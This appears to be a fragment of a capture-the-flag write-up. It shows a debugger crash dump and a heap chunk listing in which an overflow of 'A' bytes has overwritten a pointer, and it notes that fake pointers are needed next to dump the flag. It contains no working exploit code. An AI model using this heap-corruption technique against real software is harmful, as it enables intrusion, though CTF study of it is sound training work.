EDI: 0x0 
EBP: 0xffffcc28 --> 0xffffcc58 --> 0xffffcc78 --> 0x0 
ESP: 0xffffcbd0 --> 0xc0 
EIP: 0x804955c (mov    edx,DWORD PTR [eax+0x14])
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049553: mov    eax,DWORD PTR [ebp+0x8]
   0x8049556: mov    eax,DWORD PTR [eax+0x4]
   0x8049559: mov    eax,DWORD PTR [eax+0xc]
=> 0x804955c: mov    edx,DWORD PTR [eax+0x14]
EAX points to 0x41414141
Used chunks of memory on heap
-----------------------------
     0: 0x0804d008 -> 0x0804d057       80 bytes uncategorized::80 bytes |01 00 00 00 58 d0 04 08 00 00 00 00 00 00 00 00 58 d0 04 08 a8 d0 04 08 31 0a 00 00 00 00 00 00 |....X...........X.......1.......|
     1: 0x0804d058 -> 0x0804d0a7       80 bytes uncategorized::80 bytes |02 00 00 00 00 00 00 00 08 d0 04 08 08 d0 04 08 00 00 00 00 00 00 00 00 32 0a 00 00 00 00 00 00 |........................2.......|
     2: 0x0804d0a8 -> 0x0804d0f7       80 bytes   C:string data:None |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|
From here, one needs to setup fake pointers such that the program shouldn't crash and also dump the flag from memory. Full solution for the challenge is here